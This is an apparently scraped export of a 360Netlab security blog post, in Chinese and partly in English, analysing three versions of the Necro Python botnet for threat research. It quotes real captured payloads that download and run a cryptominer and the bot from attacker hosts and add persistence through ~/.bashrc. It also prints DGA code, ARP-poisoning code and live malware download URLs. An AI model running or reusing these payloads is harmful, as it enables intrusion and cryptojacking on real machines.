http://45.145.185.229/bins/nginx.html/keksec.arm5
http://45.145.185.229/bins/keksec.x88_64
http://45.145.185.229/bins/keksec.x86
http://45.145.185.229/bins/keksec.x64
http://45.145.185.229/bins/keksec.spc
http://45.145.185.229/bins/keksec.sh4
http://45.145.185.229/bins/keksec.ppc
http://45.145.185.229/bins/keksec.mpsl
http://45.145.185.229/bins/keksec.mips
http://45.145.185.229/bins/keksec.mips64
http://45.145.185.229/bins/keksec.m68k
http://45.145.185.229/bins/keksec.i586
http://45.145.185.229/bins/keksec.arm
http://45.145.185.229/bins/keksec.arm7
http://45.145.185.229/bins/keksec.arm5
http://45.145.185.229/update.sh
DGA 算法
import random
def gen_random_str(_range):
return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range))
def gen_cc(time):
random.seed(a=5236442 + time)
return gen_random_str(16) + '.xyz'
def gen_DGA():
i = 0
while 1:
for _ in range(3):
try:
print(gen_cc(i))
except:
pass
if i >= 2048:
i = 0
i += 1
gen_DGA()
C2解密算法
self.irc_server=b64decode(b64decode("34653437353533303465343435353331346537613535333035613434353533303465353434353761346435343532366134653664343533303465353434643330346534373535333134643761346433303465376136623330356134343561363834653664343937613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded irc server
self.server_port=6667 #Server port
self.channel=b64decode(b64decode("346534343662376134643661346433313465366434643331346635343464376134653437343533333465363733643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel
self.channel_key==b64decode(b64decode("346536613439333134653434353137393465376136623332346437613531333334653661363337613561343133643364".decode('hex').decode('hex')).decode('hex')) #Encoded channel key
引用
* https://www.imperva.com/blog/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities/
* https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/
* https://nvd.nist.gov/vuln/detail/CVE-2020-28188
* https://nvd.nist.gov/vuln/detail/CVE-2021-3007
* https://nvd.nist.gov/vuln/detail/CVE-2020-7961
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"##概述"}],["markdown",{"markdown":"Necro是一个经典的Python编写的botnet家族，最早发现于2015年，早期针对Windows系统，常被报为Python.IRCBot，作者自己则称之为N3Cr0m0rPh(Necromorph)。自2021年1月1号起，360Netlab的BotMon系统持续检测到该家族的新变种，先后有3个版本的样本被检测到，它们均针对Linux系统，并且最新的版本使用了[DGA](#dga)技术来生成C2域名对抗检测。本文将对最近发现的Necro botnets做一分析。\n\n本文的关键点如下：\n 1，Necro最新版的感染规模在万级，并且处于上升趋势。\n 2，在传播方式上，Necro支持多种方式，并且持续集成新公开的1-day漏洞，攻击能力较强。\n 3，最新版Necro使用了DGA技术生成C2域名，Python脚本也经过重度混淆以对抗静态分析。\n 4，目前传播的不同版本Necro botnet背后为同一伙人，并且主要针对Linux设备。\n 5，最新的2个版本为了确保能在没有Python2的受害机器上执行，会同时分发使用PyInstaller打包过的Python程序。"}],["markdown",{"markdown":"在撰写本文时,我们注意到先后有2家安全厂商报道了Necro botnet及其团伙[[PythonCryptoMinter]](#ref_1)[[FreakOut]](#ref_2)，但他们描述的均是已经停止传播的第2个版本，本文将描述更多的关于Necro的内容。"}],["markdown",{"markdown":"##捕获"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----12.jpg"}],["code",{"code":"root\npassword\nenable\nsystem\nshell\nsh\necho -e '\\x41\\x4b\\x34\\x37'\nwget http://aspjobjreorejborer.com/mirai.armexport ARGS=\"-o aveixucyimxwcmph.xyz:9050\";LINE=\"killall -9 .sshd||pkill -9 .sshd_;[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile;nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &\";grep -q \"$LINE\" ~/.bashrc||echo \"$LINE\" >> ~/.bashrc;curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_;mv -f .sshd_ .sshd_;chmod 777 .sshd_;curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig;mv -f xmrig .sshd;chmod 777 .sshd;chmod +x ~/.bashrc;~/.bashrc;cd /tmp||php -r \"file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"));\";curl http://aveixucyimxwcmph.xyz/.benchmark -O;curl http://aveixucyimxwcmph.xyz/.benchmark.py -O;php -r \"file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));\";wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark;wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py;chmod 777 .benchmark.py;chmod 777 .benchmark;python .benchmark.py||python2 .benchmark.py||python2.7 .benchmark.py||./.benchmark||./.benchmark.py & \n"}],["code",{"code":"GET /include/makecvs.php?Event=`export ARGS=\"-o aveixucyimxwcmph.xyz:9050\"\nLINE=\"killall -9 .sshd||pkill -9 .sshd_\n[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile\nnohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &\"\ngrep -q \"$LINE\" ~/.bashrc||echo \"$LINE\" >> ~/.bashrc\ncurl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_\nmv -f .sshd_ .sshd_\nchmod 777 .sshd_\ncurl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig\nmv -f xmrig .sshd\nchmod 777 .sshd\nchmod +x ~/.bashrc\n~/.bashrc\n\ncd /tmp||php -r \"file_put_contents(\\\".benchmark\\\", file_get_contents(\\\"http://aveixucyimxwcmph.xyz/.benchmark\\\"));\"\ncurl http://aveixucyimxwcmph.xyz/.benchmark -O\ncurl http://aveixucyimxwcmph.xyz/.benchmark.py -O\nphp -r \"file_put_contents(\\\".benchmark.py\\\", file_get_contents(\\\"http://aveixucyimxwcmph.xyz/.benchmark.py\\\"));\"\nwget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark\nwget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py\n\n"}],["markdown",{"markdown":"从上面的payload可以看到exp除了下载并执行原始的Python脚本（.benchmark.py），还会尝试下载并执行PyInstaller打包后的ELF文件（.benchmark），这是作者自第2版开始引入的手法，目的是为了提高执行成功率。因为Python 2已经到达EOL(end-of-life)，有些受害者机器上缺乏这个运行环境，而使用Pyinstaller打包后的Python程序将成为独立的ELF，即使目标机器上没有Python环境也可以正常执行。\n\n值得说明的是漏洞CVE-2020-35665公开于2020年12月23日，距离我们首次捕获它的利用只有8天，可见作者对新漏洞的使用非常“积极”。\n\n另外，除了Necro样本，上面的exp还会下载挖矿程序xmrig和xmrig1，利用360netlab其它维度的数据，我们发现同样的download server还曾用于mirai和一些Windows恶意exe程序的下载，说明Necro的作者同时在运营多个家族的botnet："}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----1-1.jpg"}],["markdown",{"markdown":"##感染规模"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----6.jpg"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----9.jpg"}],["markdown",{"markdown":"##样本分析 "}],["markdown",{"markdown":"#### 第1版"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----5.jpg"}],["markdown",{"markdown":"它的C2信息只是[简单编码](#decrypt_cc)保存，经过若干次逆向解码可以容易的得到：\n```\nirc server: '45.145.185.229'\nchannel: '#necro'\nkey: 'm0rph'\n```\n"}],["markdown",{"markdown":"原始样本中可以发现可读的DDoS攻击相关的命令串："}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----2.jpg"}],["markdown",{"markdown":"从这些命令串可以看出Necro是一个用于DDoS攻击的botnet，C2协议基于IRC，支持的攻击方式既包括常见的udpflood、synflood、slowloris、httpflood这些，也包括在botnet中不常见的amp反射攻击。"}],["markdown",{"markdown":"\n#### 第2版"}],["markdown",{"markdown":"第2版（out.py）和第1版的混淆程度相当，但在漏洞利用上有变化，加入了Zend Framework (known as CVE-2021-3007)："}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----4.jpg"}],["markdown",{"markdown":"\n\n在C2存放方面，第2版同样使用了简单编码保存：\n\n```\nirc server: 'gxbrowser.net'\nchannel: '#update'\nkey: 'N3Wm3W'\n```\n\n"}],["markdown",{"markdown":"#### 第3版\n第3版的被检测到用benchmark.py名称传播。相比前两个版本，第3版最大的变化是使用DGA来生成C2域名，具体算法参考后面的[DGA](#dga)代码，下面是模拟该算法产生的部分域名:\n```\navEiXUcYimXwcMph.xyz\navEiXUcYimXwcMph.xyz\navEiXUcYimXwcMph.xyz\naoRmVwOaTOGgYqbk.xyz\naoRmVwOaTOGgYqbk.xyz\naoRmVwOaTOGgYqbk.xyz\nMasEdcNVYwedJwVd.xyz\nMasEdcNVYwedJwVd.xyz\nMasEdcNVYwedJwVd.xyz\nsuBYdZaoqwveKRlQ.xyz\n...\n```\n\n通过360netlab的DNSMon系统，我们看到该DGA算法产生的第1个域名aveixucyimxwcmph.xyz已经启用，并且被用作下载服务器的域名。下面是该域名的详细信息：\n\n```\n2021-01-11 11:49:28\t2021-01-20 03:47:28\t372\taveixucyimxwcmph.xyz\tA\t193.239.147.224\t\n2021-01-11 20:11:02\t2021-01-11 20:11:03\t2\taveixucyimxwcmph.xyz\tTXT\t\"v=spf1 include:spf.efwd.registrar-servers.com ~all\"\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward4.registrar-servers.com\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward5.registrar-servers.com\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward2.registrar-servers.com\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward1.registrar-servers.com\t\n2021-01-11 20:11:01\t2021-01-11 20:11:03\t3\taveixucyimxwcmph.xyz\tMX\teforward3.registrar-servers.com\n\n```\n\n2021年1月20号，在最新的第3版样本中作者又对DGA算法做了修改，将种子从3种修改为4096种，同时开始使用SSL加密通信数据。"}],["markdown",{"markdown":"第3版的另一个变化是代码混淆的更严重了，不仅所有自定义对象全部被替换成随机字符，连字符串也被用base64.encode(zlib.compress(plain_string))这种方式做了编码，导致样本中不再有可读的、有意义的字符串，如下图所示："}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----14.jpg"}],["markdown",{"markdown":"在传播方式上，第3版增加了更多的漏洞利用，这一点可以从解码后的字符串看出来："}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----8.jpg"}],["markdown",{"markdown":"在支持的DDoS攻击方法方面第3版没有变化，只是命令串被做了编码处理，解码后的DDoS命令串如下："}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----7.jpg"}],["markdown",{"markdown":"###样本溯源\n\n通过第1版样本的版本信息我们可以看到Necro早在2015年就已开发，作者称之为N3Cr0m0rPh (Necromorph)。\n"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----13.jpg"}],["markdown",{"markdown":"利用这些信息，我们从样本库里关联到一批针对 Windows平台的早期Necro样本，都是exe文件，这批样本刚好也可以追溯到2015年，跟第1版中的版本信息吻合。从这些线索可以推断Necro首先针对的是Windows平台，然后也许是Python程序天然的跨平台特性，抑或现网大量存在漏洞的Linux机器（IoT设备、云服务器等），启发Necro作者用去攻击Linux设备。无论如何，现在Linux malware大军中又多了新的一员：Necro。"}],["markdown",{"markdown":"##其它"}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----3.jpg"}],["markdown",{"markdown":"```\nxor_crypt(zlib.decompress(b'\\x78\\x9c\\xab\\xac\\x8d\\x72\\xf7\\xca\\x96\\x06\\x00\\x0a\\xf1\\x02\\x68')) \n\ndef xor_crypt(s): \n xor_key = [65, 83, 98, 105, 114, 69, 35, 64, 115, 103, 71, 103, 98, 52] \n return ('').join([ chr(ord(c) ^ xor_key[(i % len(xor_key))]) for i, c in enumerate(s) ]) \n```"}],["markdown",{"markdown":"```\ndef __init__(self):\n ...\n self.repack() #repack bot before we install\n self.install() #Install\n\ndef repack(self):\n try:\n fh_myself=open(argv[0],\"r\")\n _pyload=fh_myself.read()\n fh_myself.close()\n obj_name_list=['localhost_irc','gen_random_8char'....]\n for obj_name in obj_name_list:\n _pyload=_pyload.replace(obj_name,self.gen_random_8char(8))\n new_fh_myself=open(argv[0],\"w\")\n new_fh_myself.write(_pyload)\n new_fh_myself.close()\n except:\n pass\n```"}],["markdown",{"markdown":"比较有意思的Necro还支持ARP投毒和网络流量嗅探。ARP欺骗是为了把受害者机器伪装成网关，代码如下所示。\n```\ndef create_pkt_arp_poison():\n s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.SOCK_RAW)\n s.bind((\"wlan0\", 0))\n \n while(1):\n for lmfao in getPoisonIPs():\n src_addr = get_src_mac()\n dst_addr = lmfao[0]\n src_ip_addr = get_default_gateway_linux()\n dst_ip_addr = lmfao[1]\n dst_mac_addr = \"\\x00\\x00\\x00\\x00\\x00\\x00\"\n payload = \"\\x00\\x01\\x08\\x00\\x06\\x04\\x00\\x02\"\n checksum = \"\\x00\\x00\\x00\\x00\"\n ethertype = \"\\x08\\x06\"\n s.send(dst_addr + src_addr + ethertype + payload+src_addr + src_ip_addr\n + dst_mac_addr + dst_ip_addr + checksum)\n time.sleep(2)\n\n\n```"}],["markdown",{"markdown":"嗅探主要针对受害者机器的TCP通信流量，该功能受C2指令（`.sniffer-resume`）控制。一旦开启，所有非以下端口的TCP流量都会被记录并上报给C2的1337端口：“1337, 6667, 23, 443, 37215, 53, 22”。"}],["markdown",{"markdown":" - C2基础设施"}],["markdown",{"markdown":"从第3版的C2域名aveixucyimxwcmph.xyz出发，我们通过图系统成功的把3个版本的C2都关联起来，如下图所示："}],["image",{"src":"__GHOST_URL__/content/images/2021/01/-----10.jpg"}],["markdown",{"markdown":"##结论"}],["markdown",{"markdown":"Necro是一个相对较老的Python恶意程序，但作者通过采用代码混淆、PyInstaller打包、集成DGA和新漏洞等方式使其摇身一变成为一款危害较大的针对Linux设备的新botnet，可谓“老树新春”。考虑到作者在不到一个月的时间内接连推出了3个版本，我们相信该家族目前处于持续活跃期中，相信后面还会不断发起新的攻击。360BotMon系统将持续对该家族保持关注，并会即使公布新的威胁信息。 \n\n如果需要帮助，欢迎通过[email protected]联系我们。"}],["markdown",{"markdown":"##版权声明\n\n本文为Netlab Jinye原创，依据 [CC BY-SA 4.0](https://creativecommons.org/licenses/by-sa/4.0/) 许可证进行授权，转载请附上出处链接及本声明。"}],["markdown",{"markdown":"##<a id=\"ioc\">IoC</a>"}],["code",{"code":"45.145.185.83\n193.239.147.224\ngxbrowser.net\naveixucyimxwcmph.xyz\n"}],["code",{"code":"# 第1版 \n http://45.145.185.229/necr0.py\n\n# 第2版\n http://gxbrowser.net/out\n http://gxbrowser.net/out.py\n\n# 第3版\n http://aveixucyimxwcmph.xyz/.benchmark\n http://aveixucyimxwcmph.xyz/.benchmark.py\n\n# 其它样本\n http://gxbrowser.net/xmrig\n http://gxbrowser.net/xmrig1\n http://aveixucyimxwcmph.xyz/xmrig1\n http://45.145.185.229/bins/nginx.html/keksec.x86\n http://45.145.185.229/bins/nginx.html/keksec.spc\n http://45.145.185.229/bins/nginx.html/keksec.sh4\n http://45.145.185.229/bins/nginx.html/keksec.ppc\n http://45.145.185.229/bins/nginx.html/keksec.mpsl\n http://45.145.185.229/bins/nginx.html/keksec.mips\n http://45.145.185.229/bins/nginx.html/keksec.m68k\n http://45.145.185.229/bins/nginx.html/keksec.i586\n http://45.145.185.229/bins/nginx.html/keksec.arm\n http://45.145.185.229/bins/nginx.html/keksec.arm7\n http://45.145.185.229/bins/nginx.html/keksec.arm5\n http://45.145.185.229/bins/keksec.x88_64\n http://45.145.185.229/bins/keksec.x86\n http://45.145.185.229/bins/keksec.x64\n http://45.145.185.229/bins/keksec.spc\n http://45.145.185.229/bins/keksec.sh4\n http://45.145.185.229/bins/keksec.ppc\n http://45.145.185.229/bins/keksec.mpsl\n http://45.145.185.229/bins/keksec.mips\n http://45.145.185.229/bins/keksec.mips64\n http://45.145.185.229/bins/keksec.m68k\n http://45.145.185.229/bins/keksec.i586\n http://45.145.185.229/bins/keksec.arm\n http://45.145.185.229/bins/keksec.arm7\n http://45.145.185.229/bins/keksec.arm5\n http://45.145.185.229/update.sh\n"}],["markdown",{"markdown":"##<a id=\"dga\">DGA 算法</a>"}],["markdown",{"markdown":"```\nimport random\n\ndef gen_random_str(_range):\n return ('').join(random.choice('abcdefghijklmnopqoasadihcouvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ') for _ in range(_range))\n\ndef gen_cc(time):\n random.seed(a=5236442 + time)\n return gen_random_str(16) + '.xyz'\n\ndef gen_DGA():\n i = 0\n while 1:\n for _ in range(3):\n try:\n print(gen_cc(i))\n except:\n pass\n if i >= 2048:\n i = 0\n i += 1\n\ngen_DGA()\n\n```"}],["markdown",{"markdown":"##<a id=\"decrypt_cc\">C2解密算法</a>"}],["code",{"code":"self.irc_server=b64decode(b64decode(\"34653437353533303465343435353331346537613535333035613434353533303465353434353761346435343532366134653664343533303465353434643330346534373535333134643761346433303465376136623330356134343561363834653664343937613561343133643364\".decode('hex').decode('hex')).decode('hex')) #Encoded irc server\n\nself.server_port=6667 #Server port\n\nself.channel=b64decode(b64decode(\"346534343662376134643661346433313465366434643331346635343464376134653437343533333465363733643364\".decode('hex').decode('hex')).decode('hex')) #Encoded channel\n\nself.channel_key==b64decode(b64decode(\"346536613439333134653434353137393465376136623332346437613531333334653661363337613561343133643364\".decode('hex').decode('hex')).decode('hex')) #Encoded channel key\n\n"}],["markdown",{"markdown":"##引用\n\n- <a id=\"ref_1\">https://www.imperva.com/blog/python-cryptominer-botnet-quickly-adopts-latest-vulnerabilities/</a>\n- <a id=\"ref_2\">https://research.checkpoint.com/2021/freakout-leveraging-newest-vulnerabilities-for-creating-a-botnet/</a>\n- https://nvd.nist.gov/vuln/detail/CVE-2020-28188\n- https://nvd.nist.gov/vuln/detail/CVE-2021-3007\n- https://nvd.nist.gov/vuln/detail/CVE-2020-7961"}]],"markups":[["strong"],["a",["href","https://github.com/extremecoders-re/pyinstxtractor"]],["a",["href","https://pypi.org/project/uncompyle6/","rel","noreferrer noopener"]],["code"]],"sections":[[10,0],[10,1],[10,2],[10,3],[1,"p",[[0,[],0,"Necro支持多种传播方式，其中2种被我们的Anglerfish蜜罐系统成功捕获到：一种是传统的telnet弱口令爆破，另一种是1-day 漏洞"],[0,[0],1,"("],[0,[],0,"CVE-2020-35665)。捕获记录如下："]]],[10,4],[1,"p",[[0,[],0,"下面是实际捕获到的利用telnet弱口令传播第3版时的payload："]]],[10,5],[1,"p",[[0,[],0,"下面是实际捕获到的利用 1-day漏洞CVE-2020-35665传播第3版时的payload："]]],[10,6],[10,7],[10,8],[10,9],[1,"p",[[0,[],0,"根据360netlab的DNSMon数据我们对第2和第3版的2个C2域名解析情况做了统计，以此来评估感染规模。根据下面的2个统计，我们能看到这两域名的unique客户端数均为2位数，考虑到数据采集位置的区别，真实的流量大概是我们统计的500～700倍，所以它们实际的规模均应该在万级。"]]],[1,"p",[[0,[],0,"下面是第2版C2域名的解析统计，能看到这个域名已经过了稳定期，处于下降状态。"]]],[10,10],[1,"p",[[0,[],0,"下面是第3版域名的解析统计，能看到解析量在上升，说明这个版本还处于发展阶段。"]]],[10,11],[10,12],[1,"p",[[0,[],0,"通过分析，我们发现2021年捕获的Necro样本可以分为3个版本，每个版本之间在传播方式、代码混淆和C2保存方面均有明显的区别，其中第1版 （necr0.py）到第2版（out.py）主要是代码结构上的调整，混淆度有所增加。同时第2版开始采用PyInstaller方式把Python程序打包成ELF。从第2版到第3版差别有所加大，不但代码混淆度显著增加，C2也从硬编码域名变成了使用DGA算法。此外，在传播方式上第3版也增加了一些n-day漏洞。"]]],[10,13],[1,"p",[[0,[],0,"因为第1版被作者命名为necro.py，所以我们把该家族命名为Necro。在代码混淆上，第1版只是部分代码做了混淆处理："]]],[10,14],[10,15],[10,16],[10,17],[10,18],[10,19],[10,20],[10,21],[1,"p",[[0,[],0,"值得说明的是该漏洞2021年1月4日才曝光，这再次说明Necro的作者在利用新漏洞方面非常“积极”。"]]],[10,22],[10,23],[10,24],[10,25],[10,26],[10,27],[10,28],[10,29],[10,30],[10,31],[10,32],[10,33],[1,"p",[[0,[],0,"因为部分Necro样本以PyInstaller打包方式分发，下面简单介绍如何通过解包、反编译、解混淆等手段还原出可读的.py脚本。"]]],[3,"ul",[[[0,[],0," 解包 "]]]],[1,"p",[[0,[],0,"以第3版为例，用开源工具"],[0,[1],1,"pyinstxtractor"],[0,[],0,"解包从ELF样本中提取的pydata数据后可以得到原始python脚本依赖的.so动态库、python库以及字节码文件.benchmark.pyc。"]]],[10,34],[3,"ul",[[[0,[],0," 反编译pyc "]]]],[1,"p",[[0,[],0,"利用"],[0,[0,2],2,"uncompyle6"],[0,[],0,"反编译 .pyc字节码可以得到最终的python脚本。通过对比来自同一downloader的python脚本"],[0,[3],1,".benchmark.py"],[0,[],0,"，发现其跟反编译出的.py脚本相同，所以断定"],[0,[3],1,".benchmark.py"],[0,[],0,"就是打包前的原始脚本。 "]]],[3,"ul",[[[0,[],0,"字符串解密 "]]]],[1,"p",[[0,[],0,"Necro使用简单的“zip压缩+异或加密”方法隐藏字符串, 下面这段代码示范了解码过程：先解压再异或即可得到被隐藏的字符串"],[0,[3],1,"'8.8.8.8'"],[0,[],0," ："]]],[10,35],[3,"ul",[[[0,[],0,"动态变形 "]]]],[1,"p",[[0,[],0,"python脚本启动后会先调用"],[0,[3],1,"repack()"],[0,[],0,"函数对当前的文件进行变形，变形的算法是依次从obj_name_list表（表中保存了文件中自定义的对象名称）中取出一个对象名称(可能是类，变量名，函数名)，然后产生一个8位的随机字串，用这个8位的随机字串替换文件中对应的对象名称，结果就是原始文件中再也找不到可读的对象名称了。因为这种做法是不可逆的，我们只能从代码功能上推测每个函数和变量的含义，参考早期版本的代码，我们基本搞楚了代码的功能。 "]]],[10,36],[1,"p",[[0,[],0," "]]],[3,"ul",[[[0,[],0,"ARP欺骗和流量嗅探 "]]]],[10,37],[1,"p",[[0,[],0,"这段buggy代码会在一个单独的线程种执行，每隔2秒读取一遍/proc/net/arp以获取最新的ARP邻居，然后冒充网关给它们发送ARP回应，目的是使对方相信所运行的机器就是网关。作者这么做可能是为了实现中间人劫持，但目前还没看到更多的中间人通信相关代码，猜测该功能尚处于开发中。"]]],[10,38],[10,39],[10,40],[10,41],[1,"p",[[0,[],0,"其中，第2版的C2域名gxbrowser.net也曾解析到过第1版的C2 45.145.185.229上，而第3版的C2域名aveixucyimxwcmph.xyz所解析的IP 193.239.147.224曾经也被gxbrowser.net使用过，这些说明目前的3个版本Necro botnet背后的作者应该是同一伙人。"]]],[1,"p",[[0,[],0,"值得说明的是所有的Necro相关域名都已被360netlab的DNSmon系统拦截。"]]],[10,42],[10,43],[10,44],[10,45],[1,"p",[]],[1,"p",[[0,[],0,"C2"]]],[10,46],[1,"p",[]],[1,"p",[[0,[],0,"Download URL"]]],[10,47],[10,48],[10,49],[10,50],[10,51],[10,52],[1,"p",[]],[1,"p",[]],[1,"p",[]]],"ghostVersion":"3.0"} | 6006bfa4d0d9b70007129e67 |
post | null | 2021-01-21T11:18:53.000Z | 63873b9a8b1c1e0007f52f98 | necro | 0 | 2021-01-22T14:00:00.000Z | public | published | null | 2021-01-22T14:00:00.000Z | Necro is going to version 3 and using PyInstaller and DGA | <!--kg-card-begin: markdown--><h2 id="overview">Overview.</h2>
<p>Necro is a classic family of botnet written in Python that was first discovered in 2015, at the beginning, it targeted Windows systems and often tagged by security vendors as Python.IRCBot and called N3Cr0m0rPh (Necromorph) by the author himself.</p>
<p>Since January 1, 2021, 360Netlab's BoTMon system has continued to detect new variants of the family, with three versions of the sample being detected, and the latest version using <a href="#dga">DGA</a> to generate C2 domains against detection. All the 3 versions target Linux devices.</p>
<p>The key points of this blog are as follows.</p>
<ol>
<li>In terms of propagation methods, Necro supports multiple methods and continues to integrate new publicly available 1-day vulnerabilities with a high attack capability.</li>
<li>The latest version uses the DGA technique to generate C2 domain names and the Python scripts are also heavily obfuscated to combat static analysis.</li>
<li>The latest 2 versions distribute Python programs together with ELF programs packaged with PyInstaller at the same time in order to ensure that they can be executed on victim machines that do not have Python2.</li>
<li>We suspect same actor behind all three versions.</li>
</ol>
<p>At the time of writing, we note that two security vendors have reported Necro botnet <a href="#ref_1">PythonCryptoMinter</a> <a href="#ref_2">FreakOut</a>, but they both describe the second version that has stopped spreading.</p>
<!--kg-card-end: markdown--><!--kg-card-begin: markdown--><h2 id="capture">Capture</h2>
<p>Our Anglerfish honeypot system captured two propagation methods: one uses traditional telnet weak password and the other one utilizes an 1-day vulnerability (CVE-2020-35665). The following is a hit record from our honeypot.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/1-1.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><p>The following is the payload being used for weak telnet password.</p>
<pre><code>root
password
enable
system
shell
sh
echo -e '\x41\x4b\x34\x37'
wget http://aspjobjreorejborer.com/mirai.armexport ARGS="-o aveixucyimxwcmph.xyz:9050";
LINE="killall -9 .sshd||pkill -9 .sshd_;
[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile;
nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &";
grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc;
curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_;
mv -f .sshd_ .sshd_;
chmod 777 .sshd_;
curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig;
mv -f xmrig .sshd;
chmod 777 .sshd;
chmod +x ~/.bashrc;
~/.bashrc;
cd /tmp||php -r "file_put_contents(".benchmark", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark"));";
curl http://aveixucyimxwcmph.xyz/.benchmark -O;
curl http://aveixucyimxwcmph.xyz/.benchmark.py -O;
php -r "file_put_contents(".benchmark.py", file_get_contents("http://aveixucyimxwcmph.xyz/.benchmark.py"));";
wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark;
wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py;
chmod 777 .benchmark.py;
chmod 777 .benchmark;
python .benchmark.py||python2 .benchmark.py||python2.7 .benchmark.py||./.benchmark||./.benchmark.py &
</code></pre>
<p>The following is the payload when exploiting the 1-day vulnerability CVE-2020-35665.</p>
<pre><code>GET /include/makecvs.php?Event=`export ARGS="-o aveixucyimxwcmph.xyz:9050"
LINE="killall -9 .sshd||pkill -9 .sshd_
[ ! -f /tmp/.pidfile ] && echo > /tmp/.pidfile
nohup .sshd $ARGS > /dev/null||nohup .sshd_ $ARGS > /dev/null &"
grep -q "$LINE" ~/.bashrc||echo "$LINE" >> ~/.bashrc
curl http://aveixucyimxwcmph.xyz/xmrig1 -O||wget http://aveixucyimxwcmph.xyz/xmrig1 -O .sshd_
mv -f .sshd_ .sshd_
chmod 777 .sshd_
curl http://aveixucyimxwcmph.xyz/xmrig -O xmrig||wget http://aveixucyimxwcmph.xyz/xmrig -O xmrig
mv -f xmrig .sshd
chmod 777 .sshd
chmod +x ~/.bashrc
~/.bashrc
cd /tmp||php -r "file_put_contents(\".benchmark\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark\"));"
curl http://aveixucyimxwcmph.xyz/.benchmark -O
curl http://aveixucyimxwcmph.xyz/.benchmark.py -O
php -r "file_put_contents(\".benchmark.py\", file_get_contents(\"http://aveixucyimxwcmph.xyz/.benchmark.py\"));"
wget http://aveixucyimxwcmph.xyz/.benchmark -O .benchmark
wget http://aveixucyimxwcmph.xyz/.benchmark.py -O .benchmark.py
</code></pre>
<p>As you can see from the payload above, in addition to downloading and executing the original Python script (.benchmark.py), exp will also attempt to download and execute the PyInstaller-packaged ELF file (.benchmark), a tactic introduced by the authors since version 2 to improve the execution success rate. Because Python 2 has reached EOL (end-of-life), some victim machines lack this runtime environment, and Python programs packaged with PyInstaller will become standalone ELFs that can be executed normally even without a Python environment on the target machine.</p>
<p>It is worth noting that vulnerability CVE-2020-35665 was made public on December 23, 2020, only 8 days after we first caught its exploitation, which shows that the authors are very "active" in the use of the new vulnerability.</p>
<p>In addition to the Necro sample, the above exp will also download the mining program xmrig and xmrig1.</p>
<p>When looking up the C2 in our database, we found that the same download server has also been used for the download of mirai and some Windows malicious exe programs, indicating that the authors of Necro are operating multiple families of botnet at the same time.</p>
<!--kg-card-end: markdown--><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2021/01/2.jpg" class="kg-image" alt loading="lazy"></figure><!--kg-card-begin: markdown--><h2 id="infectionscale">Infection Scale</h2>
<p>Tapping in our DNSMon passivedns data, we can see the statistics of the two C2 domains used in version 2 and 3. Right now both counts are in 2 digits. But keep in mind that our pdns represents only a small subset of the global dns traffic, and based on past experiences, we won’t be surprised if the actual infected hosts is a much much bigger number.</p>
<p>Here are the resolution statistics of version 2 C2 domain, we can see that the count of this domain name has passed the stable period and is in a declining state.</p>
